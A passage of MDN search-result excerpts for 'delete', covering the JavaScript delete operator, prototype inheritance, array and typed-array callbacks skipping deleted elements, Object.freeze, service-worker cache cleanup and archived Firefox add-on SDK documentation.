ment of the function: var a = {a: 1}; // a ---> object.prototype ---> null var b = object.create(a); // b ---> a ---> object.prototype ---> null console.log(b.a); // 1 (inherited) var c = object.create(b); // c ---> b ---> a ---> object.prototype ---> null var d = object.create(null); // d ---> null console.log(d.hasownproperty); // undefined, because d doesn't inherit from object.prototype delete operator with object.create and new operator using object.create of another object demonstrates prototypical inheritance with the delete operation: var a = {a: 1}; var b = object.create(a); console.log(a.a); // print 1 console.log(b.a); // print 1 b.a=5; console.log(a.a); // print 1 console.log(b.a); // print 5 delete b.a; console.log(a.a); // print 1 console.log(b.a); // print 1(b.a value 5 ...
...erator with object.create and new operator using object.create of another object demonstrates prototypical inheritance with the delete operation: var a = {a: 1}; var b = object.create(a); console.log(a.a); // print 1 console.log(b.a); // print 1 b.a=5; console.log(a.a); // print 1 console.log(b.a); // print 5 delete b.a; console.log(a.a); // print 1 console.log(b.a); // print 1(b.a value 5 is deleted but it showing value from its prototype chain) delete a.a; console.log(a.a); // print undefined console.log(b.a); // print undefined the new operator has a shorter chain in this example: function graph() { this.vertices = [4,4]; } var g = new graph(); console.log(g.vertices); // print [4,4] g.vertices = 25; console.log(g.vertices); // print 25 delete g.vertices; console.log(g.vertices); // ...
JavaScript error reference - JavaScript
"use strict" not allowed in function with non-simple parameterssyntaxerror: "x" is a reserved identifiersyntaxerror: json.parse: bad parsingsyntaxerror: malformed formal parametersyntaxerror: unexpected tokensyntaxerror: using //@ to indicate sourceurl pragmas is deprecated. ...
...x" is read-onlytypeerror: 'x' is not iterabletypeerror: more arguments neededtypeerror: reduce of empty array with no initial valuetypeerror: x.prototype.y called on incompatible typetypeerror: can't access dead objecttypeerror: can't access property "x" of "y"typeerror: can't assign to property "x" on "y": not an objecttypeerror: can't define property "x": "obj" is not extensibletypeerror: can't delete non-configurable array elementtypeerror: can't redefine non-configurable property "x"typeerror: cannot use "in" operator to search for "x" in "y"typeerror: cyclic object valuetypeerror: invalid "instanceof" operand "x"typeerror: invalid array.prototype.sort argumenttypeerror: invalid argumentstypeerror: invalid assignment to const "x"typeerror: property "x" is non-configurable and can't be delete...
getter - JavaScript
ers this will create a pseudo-property latest for object obj, which will return the last array item in log. const obj = { log: ['example','test'], get latest() { if (this.log.length === 0) return undefined; return this.log[this.log.length - 1]; } } console.log(obj.latest); // "test" note that attempting to assign a value to latest will not change it. deleting a getter using the delete operator if you want to remove the getter, you can just delete it: delete obj.latest; defining a getter on existing objects using defineproperty to append a getter to an existing object later at any time, use object.defineproperty(). const o = {a: 0}; object.defineproperty(o, 'b', { get: function() { return this.a + 1; } }); console.log(o.b) // runs the getter, which yields a + 1 (which i...
...lculate the value. note that getters are not “lazy” or “memozied” by nature; you must implement this technique if you desire this behavior. in the following example, the object has a getter as its own property. on getting the property, the property is removed from the object and re-added, but implicitly as a data property this time. finally, the value gets returned. get notifier() { delete this.notifier; return this.notifier = document.getelementbyid('bookmarked-notification-anchor'); }, for firefox code, see also the xpcomutils.jsm code module, which defines the definelazygetter() function. get vs. defineproperty while using the get keyword and object.defineproperty() have similar results, there is a subtle difference between the two when used on classes. when using get the ...
Array.prototype.every() - JavaScript
where callback returns a falsy value. if such an element is found, the every method immediately returns false. otherwise, if callback returns a truthy value for all elements, every returns true. caution: calling this method on an empty array will return true for any condition! callback is invoked only for array indexes which have assigned values. it is not invoked for indexes which have been deleted, or which have never been assigned values. callback is invoked with three arguments: the value of the element, the index of the element, and the array object being traversed. if a thisarg parameter is provided to every, it will be used as callback's this value. otherwise, the value undefined will be used as its this value. the this value ultimately observable by callback is determined accordi...
...very does not mutate the array on which it is called. the range of elements processed by every is set before the first invocation of callback. therefore, callback will not run on elements that are appended to the array after the call to every begins. if existing elements of the array are changed, their value as passed to callback will be the value at the time every visits them. elements that are deleted are not visited. every acts like the "for all" quantifier in mathematics. in particular, for an empty array, it returns true. (it is vacuously true that all elements of the empty set satisfy any given condition.) polyfill every was added to the ecma-262 standard in the 5th edition, and it may not be present in other implementations of the standard. you can work around this by inserting the f...
Array.prototype.map() - JavaScript
ing the result of the callback function. description map calls a provided callback function once for each element in an array, in order, and constructs a new array from the results. callback is invoked only for indexes of the array which have assigned values (including undefined). it is not called for missing elements of the array; that is: indexes that have never been set; which have been deleted; or which have never been assigned a value. when not to use map() since map builds a new array, using it when you aren't using the returned array is an anti-pattern; use foreach or for-of instead. you shouldn't be using map if: you're not using the array it returns; and/or you're not returning a value from the callback. parameters in detail callback is invoked with three arguments: t...
...which it is called (although callback, if invoked, may do so). the range of elements processed by map is set before the first invocation of callback. elements which are appended to the array after the call to map begins will not be visited by callback. if existing elements of the array are changed, their value as passed to callback will be the value at the time map visits them. elements that are deleted after the call to map begins and before being visited are not visited. due to the algorithm defined in the specification, if the array which map was called upon is sparse, resulting array will also be sparse keeping same indices blank. polyfill map was added to the ecma-262 standard in the 5th edition. therefore, it may not be present in all implementations of the standard. you can work arou...
Array.prototype.some() - JavaScript
tes the callback function once for each element present in the array until it finds the one where callback returns a truthy value (a value that becomes true when converted to a boolean). if such an element is found, some() immediately returns true. otherwise, some() returns false. callback is invoked only for indexes of the array with assigned values. it is not invoked for indexes which have been deleted or which have never been assigned values. callback is invoked with three arguments: the value of the element, the index of the element, and the array object being traversed. if a thisarg parameter is provided to some(), it will be used as the callback's this value. otherwise, the value undefined will be used as its this value. the this value ultimately observable by callback is determined acco...
...is called. the range of elements processed by some() is set before the first invocation of callback. elements appended to the array after the call to some() begins will not be visited by callback. if an existing, unvisited element of the array is changed by callback, its value passed to the visiting callback will be the value at the time that some() visits that element's index. elements that are deleted are not visited. caution: calling this method on an empty array returns false for any condition! polyfill some() was added to the ecma-262 standard in the 5th edition, and it may not be present in all implementations of the standard. you can work around this by inserting the following code at the beginning of your scripts, allowing use of some() in implementations which do not natively supp...
Map.prototype.forEach() - JavaScript
ional value of each iteration. key optional key of each iteration. map optional the map being iterated (mymap in the above syntax box). thisarg optional value to use as this when executing callback. return value undefined. description the foreach method executes the provided callback once for each key of the map which actually exist. it is not invoked for keys which have been deleted. however, it is executed for values which are present but have the value undefined. callback is invoked with three arguments: the entry's value the entry's key the map object being traversed if a thisarg parameter is provided to foreach, it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its this value. the th...
...aversed if a thisarg parameter is provided to foreach, it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its this value. the this value ultimately observable by callback is determined according to the usual rules for determining the this seen by a function. each value is visited once, except in the case when it was deleted and re-added before foreach has finished. callback is not invoked for values deleted before being visited. new values added before foreach has finished will be visited. foreach executes the callback function once for each element in the map object. it does not return a value. examples printing the contents of a map object the following code logs a line for each element in an map object: fun...
Object.freeze() - JavaScript
son to object.seal() objects sealed with object.seal() can have their existing properties changed. existing properties in objects frozen with object.freeze() are made immutable. examples freezing objects var obj = { prop: function() {}, foo: 'bar' }; // before freezing: new properties may be added, // and existing properties may be changed or removed obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; // freeze. var o = object.freeze(obj); // the return value is just the same object we passed in. o === obj; // true // the object has become frozen. object.isfrozen(obj); // === true // now any changes will fail obj.foo = 'quux'; // silently does nothing // silently doesn't add the property obj.quaxxor = 'the friendly duck'; // in strict mode such attempts will throw typeerrors fun...
...ust the same object we passed in. o === obj; // true // the object has become frozen. object.isfrozen(obj); // === true // now any changes will fail obj.foo = 'quux'; // silently does nothing // silently doesn't add the property obj.quaxxor = 'the friendly duck'; // in strict mode such attempts will throw typeerrors function fail(){ 'use strict'; obj.foo = 'sparky'; // throws a typeerror delete obj.foo; // throws a typeerror delete obj.quaxxor; // returns true since attribute 'quaxxor' was never added obj.sparky = 'arf'; // throws a typeerror } fail(); // attempted changes through object.defineproperty; // both statements below throw a typeerror. object.defineproperty(obj, 'ohai', { value: 17 }); object.defineproperty(obj, 'foo', { value: 'eit' }); // it's also impossible to chan...
Object - JavaScript
ate and return an empty object. otherwise, it will return an object of a type that corresponds to the given value. if the value is an object already, it will return the value. when called in a non-constructor context, object behaves identically to new object(). see also the object initializer / literal syntax. deleting a property from an object there isn't any method in an object itself to delete its own properties (such as map.prototype.delete()). to do so, one must use the delete operator. constructor object() creates a new object object. it is a wrapper for the given value. static methods object.assign() copies the values of all enumerable own properties from one or more source objects to a target object. object.create() creates a new object with the specified prototype ob...
...nd properties. object.defineproperty() adds the named property described by a given descriptor to an object. object.defineproperties() adds the named properties described by the given descriptors to an object. object.entries() returns an array containing all of the [key, value] pairs of a given object's own enumerable string properties. object.freeze() freezes an object. other code cannot delete or change its properties. object.fromentries() returns a new object from an iterable of [key, value] pairs. (this is the reverse of object.entries). object.getownpropertydescriptor() returns a property descriptor for a named property on an object. object.getownpropertydescriptors() returns an object containing all own property descriptors for an object. object.getownpropertynames() return...
Set.prototype.forEach() - JavaScript
sed in the set. as there are no keys in set, the value is passed for both arguments. set the set object which foreach() was called upon. thisarg value to use as this when executing callback. return value undefined. description the foreach() method executes the provided callback once for each value which actually exists in the set object. it is not invoked for values which have been deleted. however, it is executed for values which are present but have the value undefined. callback is invoked with three arguments: the element value the element key the set object being traversed there are no keys in set objects, however, so the first two arguments are both values contained in the set. this is to make it consistent with other foreach() methods for map and array. if a thisarg...
...array. if a thisarg parameter is provided to foreach(), it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its this value. the this value ultimately observable by callback is determined according to the usual rules for determining the this seen by a function. each value is visited once, except in the case when it was deleted and re-added before foreach() has finished. callback is not invoked for values deleted before being visited. new values added before foreach() has finished will be visited. foreach() executes the callback function once for each element in the set object; it does not return a value. examples logging the contents of a set object the following code logs a line for each element in a set object: ...
TypedArray.prototype.filter() - JavaScript
turn value a new typed array with the elements that pass the test. description the filter() method calls a provided callback function once for each element in a typed array, and constructs a new typed array of all the values for which callback returns a true value. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. typed array elements which do not pass the callback test are simply skipped, and are not included in the new typed array. callback is invoked with three arguments: the value of the element the index of the element the typed array object being traversed if a thisarg parameter is provided to filter, it will be passed to callback when invoked, for u...
...cording to the usual rules for determining the this seen by a function. filter() does not mutate the typed array on which it is called. the range of elements processed by filter() is set before the first invocation of callback. elements which are appended to the typed array after the call to filter() begins will not be visited by callback. if existing elements of the typed array are changed, or deleted, their value as passed to callback will be the value at the time filter() visits them; elements that are deleted are not visited. examples filtering out all small values the following example uses filter() to create a filtered typed array that has all elements with values less than 10 removed. function isbigenough(element, index, array) { return element >= 10; } new uint8array([12, 5, 8, 1...
TypedArray.prototype.find() - JavaScript
the find method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value. if such an element is found, find immediately returns the value of that element. otherwise, find returns undefined. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. callback is invoked with three arguments: the value of the element, the index of the element, and the typed array object being traversed. if a thisarg parameter is provided to find, it will be used as the this for each invocation of the callback. if it is not provided, then undefined is used. find does not mutate the typed array on which it is called.
... range of elements processed by find is set before the first invocation of callback. elements that are appended to the typed array after the call to find begins will not be visited by callback. if an existing, unvisited element of the typed array is changed by callback, its value passed to the visiting callback will be the value at the time that find visits that element's index; elements that are deleted are not visited. examples find a prime number in a typed array the following example finds an element in the typed array that is a prime number (or returns undefined if there is no prime number). function isprime(element, index, array) { var start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } var uint8 =...
TypedArray.prototype.findIndex() - JavaScript
ndindex method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value. if such an element is found, findindex immediately returns the index of that element. otherwise, findindex returns -1. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. callback is invoked with three arguments: the value of the element, the index of the element, and the typed array object being traversed. if a thisarg parameter is provided to findindex, it will be used as the this for each invocation of the callback. if it is not provided, then undefined is used. findindex does not mutate the typed array on which it ...
...nts processed by findindex is set before the first invocation of callback. elements that are appended to the typed array after the call to findindex begins will not be visited by callback. if an existing, unvisited element of the typed array is changed by callback, its value passed to the visiting callback will be the value at the time that findindex visits that element's index; elements that are deleted are not visited. polyfill typedarray.prototype.findindex = array.prototype.findindex = array.prototype.findindex || function(evaluator, thisarg) { 'use strict'; if (!this) { throw new typeerror('array.prototype.some called on null or undefined'); } if (typeof(evaluator) !== 'function') { if (typeof(evaluator) === 'string') { ...
TypedArray.prototype.forEach() - JavaScript
y. index the index of the current element being processed in the array. array the array foreach() was called upon. thisarg optional. value to use as this when executing callback. return value undefined. description the foreach() method executes the provided callback once for each element present in the typed array in ascending order. it is not invoked for indexes that have been deleted or elided. however, it is executed for elements that are present and have the value undefined. callback is invoked with three arguments: the element value the element index the typed array being traversed if a thisarg parameter is provided to foreach(), it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its thi...
...this seen by a function. the range of elements processed by foreach() is set before the first invocation of callback. elements that are appended to the typed array after the call to foreach() begins will not be visited by callback. if the values of existing elements of the typed array are changed, the value passed to callback will be the value at the time foreach() visits them; elements that are deleted before being visited are not visited. foreach() executes the callback function once for each typed array element; unlike every() and some() it, always returns the value undefined. examples logging the contents of a typed array the following code logs a line for each element in a typed array: function logarrayelements(element, index, array) { console.log('a[' + index + '] = ' + element); }...
TypedArray.prototype.map() - JavaScript
o use as this when executing mapfn. return value a new typed array. description the map() method calls a provided callback function (mapfn) once for each element in a typed array, in order, and constructs a new typed array from the results. mapfn is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes that are undefined, those which have been deleted, or which have never been assigned values. mapfn is invoked with three arguments: the value of the element, the index of the element, and the typed array object being traversed. if a thisarg parameter is provided to map(), it will be passed to mapfn when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its this value. the this value ultimately observ...
...l rules for determining the this seen by a function. map() does not mutate the typed array on which it is called (although mapfn, if invoked, may do so). the range of elements processed by map() is set before the first invocation of mapfn. elements which are appended to the array after the call to map() begins will not be visited by mapfn. if existing elements of the typed array are changed, or deleted, their value as passed to mapfn will be the value at the time map() visits them; elements that are deleted are not visited. examples mapping a typed array to a typed array of square roots the following code takes a typed array and creates a new typed array containing the square roots of the numbers in the first typed array. const numbers = new uint8array([1, 4, 9]); const roots = numbers.map...
WeakSet - JavaScript
ernal _refs parameter). the number of objects or their traversal order is immaterial, so a weakset is more suitable (and performant) than a set for tracking object references, especially if a very large number of objects is involved. constructor weakset() creates a new weakset object. instance methods weakset.prototype.add(value) appends value to the weakset object. ...
...while they are similar objects, they are not the same object. and so they are both added to the set. specifications specification ecmascript (ecma-262)the definition of 'weakset' in that specification. ...
Operator precedence - JavaScript
t) right-to-left new … 18 postfix increment n/a … ++ postfix decrement … -- 17 logical not right-to-left ! ...
...t-to-left new … 18 postfix increment n/a … ++ postfix decrement … -- 17 logical not right-to-left ! ...
var - JavaScript
nsole.log(x); // undefined (note: not referenceerror) console.log('still going...'); // still going... var x = 1; console.log(x); // 1 console.log('still going...'); // still going... in the global context, a variable declared using var is added as a non-configurable property of the global object. this means its property descriptor cannot be changed and it cannot be deleted using delete. the corresponding name is also added to a list on the internal [[varnames]] slot on the global environment record (which forms part of the global lexical environment). the list of names in [[varnames]] enables the runtime to distinguish between global variables and straightforward properties on the global object. the property created on the global object for global variables, is s...
...me to distinguish between global variables and straightforward properties on the global object. the property created on the global object for global variables, is set to be non-configurable because the identifier is to be treated as a variable, rather than a straightforward property of the global object. javascript has automatic memory management, and it would make no sense to be able to use the delete operator on a global variable. 'use strict'; var x = 1; globalthis.hasownproperty('x'); // true delete globalthis.x; // typeerror in strict mode. fails silently otherwise. delete x; // syntaxerror in strict mode. fails silently otherwise. note that in both nodejs commonjs modules and native ecmascript modules, top-level variable declarations are scoped to the module, and are not, therefore ad...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
ving to web storage won't work, because web storage is synchronous. with service workers, we use the cache api instead. here, we open a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request url). activation there is also an activate event, which is used in the same way as install. this event is usually used to delete any files that are no longer necessary and clean up after the app in general. we don't need to do that in our app, so we'll skip it. responding to fetches we also have a fetch event at our disposal, which fires every time an http request is fired off from our app. this is very useful, as it allows us to intercept requests and respond to them with custom responses. here is a simple usage example...
...en activated and takes over management of the page from the old one. clearing the cache remember the activate event we skipped? it can be used to clear out the old cache we don't need anymore: self.addeventlistener('activate', (e) => { e.waituntil( caches.keys().then((keylist) => { return promise.all(keylist.map((key) => { if(key !== cachename) { return caches.delete(key); } })); }) ); }); this ensures we have only the files we need in the cache, so we don't leave any garbage behind; the available cache space in the browser is limited, so it is a good idea to clean up after ourselves. other use cases serving files from cache is not the only feature service worker offers. if you have heavy calculations to do, you can offload them from th...
system - Archive of obsolete content
platform the type of operating system you're running on. this will be one of the values listed as os_target, converted to lower case. var system = require("sdk/system"); console.log("platform = " + system.platform); architecture the type of processor architecture you're running on. this will be one of: "arm"``,"ia32", or"x64"`. var...
core/namespace - Archive of obsolete content
= cu.sandbox(element.ownerdocument.defaultview); // ... } widget.prototype = object.create(view.prototype); widget.prototype.postmessage = function postmessage(message) { let { sandbox } = sandboxes(this); sandbox.postmessage(json.stringify(json.parse(message))); ... }; widget.prototype.destroy = function destroy() { view.prototype.destroy.call(this); // ... delete sandboxes(this).sandbox; }; exports.widget = widget; in addition access to the namespace can be shared with other code by just handing them a namespace accessor function. let { dom } = require('./view'); widget.prototype.setinnerhtml = function setinnerhtml(html) { dom(this).element.innerhtml = string(html); }; ...
system/environment - Archive of obsolete content
env.foo = null; console.log('foo' in env); // false env.bar = ''; console.log(env.bar); // undefined ...
ui/button/action - Archive of obsolete content
for each tab in a window. if a property value for a node in the tree has not been set explicitly using state(), then it inherits its value from the next level up. so if you have one window containing two tabs, and have set the button's label only for tab a, then tab b will inherit label's value from the window, and changing the value for the window will implicitly change the value for tab b. to delete a tab- or window-specific state, assign null to the property. after that, the property will inherit its value from the less-specific state as before: var { actionbutton } = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = actionbutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: o...
Release notes - Archive of obsolete content
rings and api-utils.publicconstructor details github commits made between firefox 28 and firefox 29. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 28 and firefox 29. this will not include any uplifts made after this release entered aurora. firefox 28 highlights added wildcard event type "*". added a ready event to sidebars. added a delete() method to sdk/request. details github commits made between firefox 27 and firefox 28. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 27 and firefox 28. this will not include any uplifts made after this release entered aurora. ...
Displaying annotations - Archive of obsolete content
.js')], onshow: function() { this.postmessage(this.content); } }); execute cfx run one last time. activate the annotator and enter an annotation. you should see a yellow border around the item you annotated: when you move your mouse over the item, the annotation should appear: obviously this add-on isn't complete yet. it could do with more beautiful styling, it certainly needs a way to delete annotations, it should deal with overquota more reliably, and the matcher could be made to match more reliably. but we hope this gives you an idea of the things that are possible with the modules in the sdk. ...
Developing for Firefox Mobile - Archive of obsolete content
n as an xpi, use the command: jpm xpi actually installing the xpi on the device is a little tricky. the easiest way is probably to copy the signed xpi somewhere on the device: adb push my-addon.xpi /mnt/sdcard/ then open firefox mobile and type this into the address bar: file:///mnt/sdcard/my-addon.xpi the browser should open the xpi and ask if you want to install it. afterwards you can delete it using adb as follows: adb shell cd /mnt/sdcard rm my-addon.xpi module compatibility modules not supported in firefox mobile are marked in the tables below. high-level apis addon-page not supported base64 supported clipboard not supported context-menu not supported hotkeys supported indexed-db supported l10...
Unit Testing - Archive of obsolete content
e you'll also have to have an icon file named "icon-16.png" saved in your add-ons "data" directory. you could download this icon: . now "index.js" imports the base64 module and calls its two exported functions. if we run the add-on and click the button, we should see the following logging output: info: agvsbg8= info: hello testing the base64 module navigate to the add-on's test directory and delete the test-index.js file. in its place create a file called test-base64.js with the following contents: var base64 = require("../base64"); exports["test atob"] = function(assert) { assert.ok(base64.atob("agvsbg8=") == "hello", "atob works"); } exports["test btoa"] = function(assert) { assert.ok(base64.btoa("hello") == "agvsbg8=", "btoa works"); } exports["test empty string"] = function(asse...
File I/O - Archive of obsolete content
ile) netutil.asynccopy(stream, output, callback); } synchronous checking the existence of a file // |file| is nsifile if (file.exists()) { // ... } note: you should avoid checking the existence of a file, not only because of the synchronous i/o on the main thread this causes. there might be races between different processes and/or threads, e.g., a file could be immediately created or deleted after you check the existence but before you can perform any other actions such as opening the file for reading or writing. reading a file // |file| is nsifile var data = ""; var fstream = components.classes["@mozilla.org/network/file-input-stream;1"]. createinstance(components.interfaces.nsifileinputstream); var cstream = components.classes["@mozilla.org/intl/converter-input-st...
Examples and demos from articles - Archive of obsolete content
[article] fade in/out [html] sometimes a page uses dozens and dozens of animations. ...
Miscellaneous - Archive of obsolete content
see how to build an xpcom component in javascript for details. now are your certificates installed on every application startup. unfortunately that seems to be the only working solution, apart from modifying the mozilla source code and recompiling. generating random bytes useful snippet for generating random bytes that can, for exa...
Delayed Execution - Archive of obsolete content
t will be deactivated and its callbacks will not fire. a reference to the timer objects must be explicitly kept alive until that point. some example usages include: const timer = components.constructor("@mozilla.org/timer;1", "nsitimer", "initwithcallback"); function delay(timeout, func) { let timer = new timer(function () { // remove the reference so that it can be reaped. delete delay.timers[idx]; func(); }, timeout, ci.nsitimer.type_one_shot); // store a reference to the timer so that it's not reaped before it fires. let idx = delay.timers.push(timer) - 1; return idx; } delay.timers = []; function repeat(timeout, func) { let timer = new timer(function () { func(); }, timeout, ci.nsitimer.type_repeating_slack); // store a...
Code snippets - Archive of obsolete content
external links the content at mozillazine example code is slowly being moved here, but you can still find useful examples there for now. ...
Enhanced Extension Installation - Archive of obsolete content
s, the entire operation is rolled back. at the end of the process once everything has succeeded the {guid}-trash folder is removed. uninstallation if an item is uninstalled via the ui (and has a tobeuninstalled flag set, its data is removed from the datasource and its files removed using a safeinstalloperation with no extraction function, i.e. the item's files are moved to {guid}-trash and then deleted. if an item is uninstalled by removing its directory, the extension startup process detects this prior to finalization and sets the tobeuninstalled flag so that the item's metadata is removed from the datasource. uninstall and staggered install locations if item foo 1.1 is installed in the user's profile directory install location, and foo 1.0 is installed in the application directory install...
Extension Versioning, Update and Compatibility - Archive of obsolete content
link is not https then the hash must be made using one of the sha family of algorithms. the hashing algorithm used is put at the start of the string and separated from the hash by a :. <em:updatehash>sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6</em:updatehash> note: the value of updatehash, must start with the string of hashing algorithm, it is a common error to delete this prefix, when setting new value to updatehash:sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6 when a hash is specified the downloaded file is compared with the hash and an error shown if it does not match. there are quite a few tools you may use to generate hashes: various unix flavors include sha1sum, sha256sum and so on. windows users should consider hashtab for...
How to convert an overlay extension to restartless - Archive of obsolete content
r xpi. if you actually can't find a way to go fully extractionless, you could hack together some combination of internal jar(s) and extracted files. it can be done. however, you really should go extractionless. firefox profiles aren't the pristine environment they're supposed to be. software that pretends to be designed to protect security or privacy that some users have installed will sometimes delete files. there have been plenty of reports of add-on franken-installs with files of two versions mixed together. this might be due to malware or a bug in firefox. in any case, i have noticed a significant improvement in reliability by going fully extractionless. installing and updating a single file is far more idiot-proof. step 6: no more xul overlays ok, now we're getting into some more drastic...
Interaction between privileged and non-privileged pages - Archive of obsolete content
it is highly recommended to check the source of the event (via event.target.ownerdocument.location) and make your extension ignore any events from pages not from your server. resources mozillazine forum discussion communication between html and your extension ...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
by the university of california at berkeley for distributing a unix-like operating system. because it has so few restrictions, it is often used by universities and the like for the products of research. however, the fact that software derived from bsd-licensed code can be redistributed under a different license creates the possibility that it will be wrapped in another proprietary program. the deleted advertising clause the original bsd license contained an advertising clause, which stated that “any advertising for software using an modification of this source code must display the name of the original developer.” this clause has been removed. the modified bsd license is the version that does not include the advertising clause. mozilla public license (mpl) this is an oss license creat...
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
r the innerhtml property, so if it weren’t for the dom, dynamic processing would be impossible. there are a number of levels to the dom with different levels of functionality. gecko supports nearly all of dom level 2 and some of dom level 3. with the dom, the contents of an xml document are handled as a "dom tree," a collection of element nodes and other nodes. listing 4 shows an example that deletes the second child element of the element with the "toolbar" id, adds a new button element as a substitute, and sets a label attribute. we do not go into the details of the various apis in the dom. to learn more about the dom, please take a look at the mdc documentation. listing 4: an example manipulation using the dom var bar = document.getelementbyid('toolbar'); bar.removechild(bar.childnodes...
Adding windows and dialogs - Archive of obsolete content
ext.label;" checked="false" persist="checked" /> setting the id attribute of the element is mandatory if you want the persist attribute to work. you can also set persistence programatically using the document.persist function: document.persist("xulschoolhello-some-checkbox", "checked"); persistent data is stored in the user profile, in the file localstore.rdf. you may need to modify or delete this file often when testing persistent data in your extension. focus and tabbing moving through all input controls in a window using only the keyboard is an accessibility requirement. you can do this in most firefox windows by pressing the tab key. each tab key press moves you to the next control in the window, giving it focus. in general, there's nothing you need to do in order to have good ...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
l scripts there are two common cases for needing these: cleaning up local data and presenting an uninstall feedback form. regarding local data, it is debatable if it is good practice to remove it or not. if an add-on is uninstalled and later installed again, it might be desirable for preferences and other settings to be kept. another argument in favor of keeping that data is that firefox doesn't delete its profile folders after it is uninstalled, so it would be consistent to keep it. on the other hand, local data that is no longer needed takes unnecessary disk space and can contain private information that users forget is there. it's up to the developer's discretion. uninstalling an add-on happens in 2 stages: first the add-on is flagged to be uninstalled, and then the add-on is actually remov...
Appendix F: Monitoring DOM changes - Archive of obsolete content
for this reason, it is best to avoid using mutation listeners at all costs, especially from extensions. this document lays out some alternatives which do not have such severe performance impacts. ...
Custom XUL Elements with XBL - Archive of obsolete content
<getter><![cdata[ return this.getattribute('name'); ]]></getter> <setter><![cdata[ this.setattribute('name', val); ]]></setter> </property> properties can be accessed just the same as fields, and they're the ones we prefer for public members. when you add a node to a xul document using an xbl binding, all normal dom operations can be performed on it. you can move it around, delete it or clone it. but there is one thing you need to know about moving or cloning your node: all internal state in the node will be lost. this means that all your properties and fields will be reset. if you want some value to be preserved after such dom operations, you must set it as an attribute and not an internal value. methods our "person" binding has a single method that removes the item f...
XPCOM Objects - Archive of obsolete content
you to register your component under categories that are either pre-existing or you make up. the service also allows you to get all components registered in a category and invoke methods on them. one common use for this service is registering a component as a content policy. with it you can detect and filter url loads. this is covered further ahead in another section of the tutorial. ...
obsolete - Archive of obsolete content
general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree). read only. type string the type of event. read only. canbubble boolean does the event normally bubble? read only. ...
Environment variables affecting crash reporting - Archive of obsolete content
rts some environment variables, primarily for testing purposes. the following environment variables affect crash reporting: moz_crashreporter_url sets the url that the crash reporter will submit reports to. moz_crashreporter_fulldump store full application memory in the minidump, so you can open it in a microsoft debugger. don't submit it to the server. (windows only.) moz_crashreporter_no_delete_dump don't delete the crash report dump file after submitting it to the server. minidumps will still be moved to the "crash reports/pending" directory. moz_crashreporter_no_report save the minidump file but don't launch the crash reporting ui or send the report to the server. minidumps will be stored in the user's profile directory, in a subdirectory named "minidumps". moz_crashreporter_disab...
Creating a Release Tag - Archive of obsolete content
hat aren't normally checked out on linux or the tag won't build on those platforms. cvs co -r netscape_6_2_release mozilla/client.mk cd mozilla gmake -f client.mk checkout create a mini branch for the pull scripts on all three platforms so we can change them without changing anything on the original branch. cd .. cvs tag -b mozilla_0_9_4_1_release_mini_branch mozilla/client.mk delete the existing build scripts and repull them from the mini-branch you just created. rm mozilla/client.mk cvs co -r mozilla_0_9_4_1_release_mini_branch mozilla/client.mk in each of the build scripts find the variables defining the branch and change it from the branch you originally pulled from to the new tag you are creating. mozilla/client.mk check the build scripts back in to t...
Getting Started - Archive of obsolete content
k at the files in the jar files. to point mozilla at the correct files we need to open up \mozilla\chrome\installed-chrome.txt in a text editor. you should probably make a backup of this file now, just in case you make a mistake. in the file you'll see a list. do a search for classic.jar</cde>. on every line that references <code>classic.jar we need to make some changes (there are about 5 lines). delete the bolded text: original skin,install,url,jar:resource:/chrome/classic.jar!/skin/classic/global/ modified skin,install,url,resource:/chrome/classic/skin/classic/global/ once you have made these modifications, save them and run mozilla. if mozilla runs fine, that means that it worked. if it doesn't appear as you expected, then go back into the installed-chrome.txt file and double chec...
Download Manager preferences - Archive of obsolete content
browser window. default value is true. browser.download.usedownloaddir a boolean value that indicates whether or not the user's preference is to automatically save files into the download directory. if this value is false, the user is asked what to do. in thunderbird and seamonkey the default is false. in other applications the default is true. browser.helperapps.deletetempfileonexit a boolean value that indicates whether or not to delete the temporary file used by the download manager after the download is complete. on mac the default value is false. on other oses the default value is true if a preference is not set when the download manager looks it up, the download manager assumes the default value but doesn't necessarily add the missing pre...
Helper Apps (and a bit of Save As) - Archive of obsolete content
open in helper are the current options the user has). helper app dialog this is our implementation of nsihelperapplauncherdialog it calls back to the nsexternalapphandler to let it know what the user picked saving to disk if a user decides to "save to disk", we just move/copy the temporary file over to the chosen location once the download completes. if an error occurs while we do this we delete the temp file and put up an error dialog. launching a helper application this is delegated to the nspiexternalapplauncher (also implemented by the nsexternalhelperapphandler): windows: launch either directly via nsiprocess or via the ::shellexecute() method depending on where the mimeinfo came from. last-ditch check for executable files here. mac: use the launchwithdoc() method on nsilocalf...
CRMF Request object - Archive of obsolete content
